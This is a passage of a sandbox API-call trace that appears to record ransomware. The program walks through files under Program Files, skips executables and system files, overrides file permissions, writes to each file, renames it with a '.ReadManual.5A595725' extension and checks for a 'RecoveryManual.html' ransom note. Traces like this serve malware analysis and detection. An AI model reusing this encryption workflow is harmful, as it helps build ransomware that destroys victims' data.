ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0252.202] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_trans_MATTE_PAL.wmv" | out: lpString1="flower_trans_MATTE_PAL.wmv") returned="flower_trans_MATTE_PAL.wmv" [0252.202] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0252.202] StrStrIW (lpFirst="flower_trans_MATTE_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.202] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.202] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.202] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" [0252.202] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ReadManual.5A595725" [0252.202] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ReadManual.5A595725") returned 103 [0252.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37287094629) returned 1 [0252.202] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0252.202] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.203] GetLastError () returned 0x5 [0252.203] GetNamedSecurityInfoW () returned 0x0 [0252.203] SetNamedSecurityInfoW () returned 0x0 [0252.203] SetNamedSecurityInfoW () returned 0x0 [0252.204] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.204] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=165208) returned 1 [0252.204] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28558, lpName=0x0) returned 0x1a0 [0252.204] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0252.204] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.204] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.206] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.206] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28558) returned 0x1de0000 [0252.210] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37287968283) returned 1 [0252.211] CloseHandle (hObject=0x1a0) returned 1 [0252.211] SetSecurityInfo () returned 0x5 [0252.211] SetSecurityInfo () returned 0x5 [0252.211] LocalFree (hMem=0x674d38) returned 0x0 [0252.211] CloseHandle (hObject=0x184) returned 1 [0252.211] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0252.211] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_trans_rgb.wmv" | out: lpString1="flower_trans_rgb.wmv") returned="flower_trans_rgb.wmv" [0252.211] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="RecoveryManual.html") returned -1 [0252.211] StrStrIW (lpFirst="flower_trans_rgb.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.211] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.211] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.211] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.212] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.212] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" [0252.212] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ReadManual.5A595725" [0252.212] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ReadManual.5A595725") returned 97 [0252.212] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37288070968) returned 1 [0252.212] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0252.213] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.213] GetLastError () returned 0x5 [0252.213] GetNamedSecurityInfoW () returned 0x0 [0252.213] SetNamedSecurityInfoW () returned 0x0 [0252.213] SetNamedSecurityInfoW () returned 0x0 [0252.214] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.214] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=189214) returned 1 [0252.214] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e31e, lpName=0x0) returned 0x1a0 [0252.214] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0252.215] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.215] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.216] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.217] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e31e) returned 0x1de0000 [0252.221] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.222] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37289050643) returned 1 [0252.222] CloseHandle (hObject=0x1a0) returned 1 [0252.222] SetSecurityInfo () returned 0x5 [0252.222] SetSecurityInfo () returned 0x5 [0252.222] LocalFree (hMem=0x674d38) returned 0x0 [0252.222] CloseHandle (hObject=0x184) returned 1 [0252.222] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0252.222] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_trans_RGB_PAL.wmv" | out: lpString1="flower_trans_RGB_PAL.wmv") returned="flower_trans_RGB_PAL.wmv" [0252.222] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0252.222] StrStrIW (lpFirst="flower_trans_RGB_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.222] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.222] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.223] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.223] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.223] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" [0252.223] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ReadManual.5A595725" [0252.223] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.ReadManual.5A595725") returned 101 [0252.223] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37289144681) returned 1 [0252.223] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0252.223] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.223] GetLastError () returned 0x5 [0252.223] GetNamedSecurityInfoW () returned 0x0 [0252.223] SetNamedSecurityInfoW () returned 0x0 [0252.224] SetNamedSecurityInfoW () returned 0x0 [0252.224] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.224] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=237208) returned 1 [0252.224] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39e98, lpName=0x0) returned 0x1a0 [0252.224] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.225] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.225] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.227] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.227] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39e98) returned 0x2690000 [0252.232] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0252.234] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37290248575) returned 1 [0252.234] CloseHandle (hObject=0x1a0) returned 1 [0252.234] SetSecurityInfo () returned 0x5 [0252.234] SetSecurityInfo () returned 0x5 [0252.234] LocalFree (hMem=0x674d38) returned 0x0 [0252.234] CloseHandle (hObject=0x184) returned 1 [0252.237] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0252.237] lstrcpyW (in: lpString1=0x6ab90e, lpString2="highlight.png" | out: lpString1="highlight.png") returned="highlight.png" [0252.237] lstrcmpiW (lpString1="highlight.png", lpString2="RecoveryManual.html") returned -1 [0252.237] StrStrIW (lpFirst="highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.237] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.237] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.237] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.237] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.237] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.237] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.238] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.238] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.238] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.238] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.238] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.238] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.238] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.238] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.238] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" [0252.238] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ReadManual.5A595725" [0252.238] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.ReadManual.5A595725") returned 90 [0252.238] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37290662187) returned 1 [0252.238] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0252.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.238] GetLastError () returned 0x5 [0252.238] GetNamedSecurityInfoW () returned 0x0 [0252.238] SetNamedSecurityInfoW () returned 0x0 [0252.239] SetNamedSecurityInfoW () returned 0x0 [0252.239] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.239] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1545) returned 1 [0252.239] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x609, lpName=0x0) returned 0x1a0 [0252.240] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0252.240] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.240] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.241] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.242] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x609) returned 0x2f0000 [0252.242] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.242] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37291053111) returned 1 [0252.242] CloseHandle (hObject=0x1a0) returned 1 [0252.242] SetSecurityInfo () returned 0x5 [0252.242] SetSecurityInfo () returned 0x5 [0252.242] LocalFree (hMem=0x674d38) returned 0x0 [0252.242] CloseHandle (hObject=0x184) returned 1 [0252.242] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0252.242] lstrcpyW (in: lpString1=0x6ab90e, lpString2="mainimage-mask.png" | out: lpString1="mainimage-mask.png") returned="mainimage-mask.png" [0252.242] lstrcmpiW (lpString1="mainimage-mask.png", lpString2="RecoveryManual.html") returned -1 [0252.242] StrStrIW (lpFirst="mainimage-mask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.242] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.242] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.242] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.243] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.243] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.243] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.243] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.243] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.243] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" [0252.243] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ReadManual.5A595725" [0252.243] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.ReadManual.5A595725") returned 95 [0252.243] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37291171880) returned 1 [0252.243] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0252.243] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 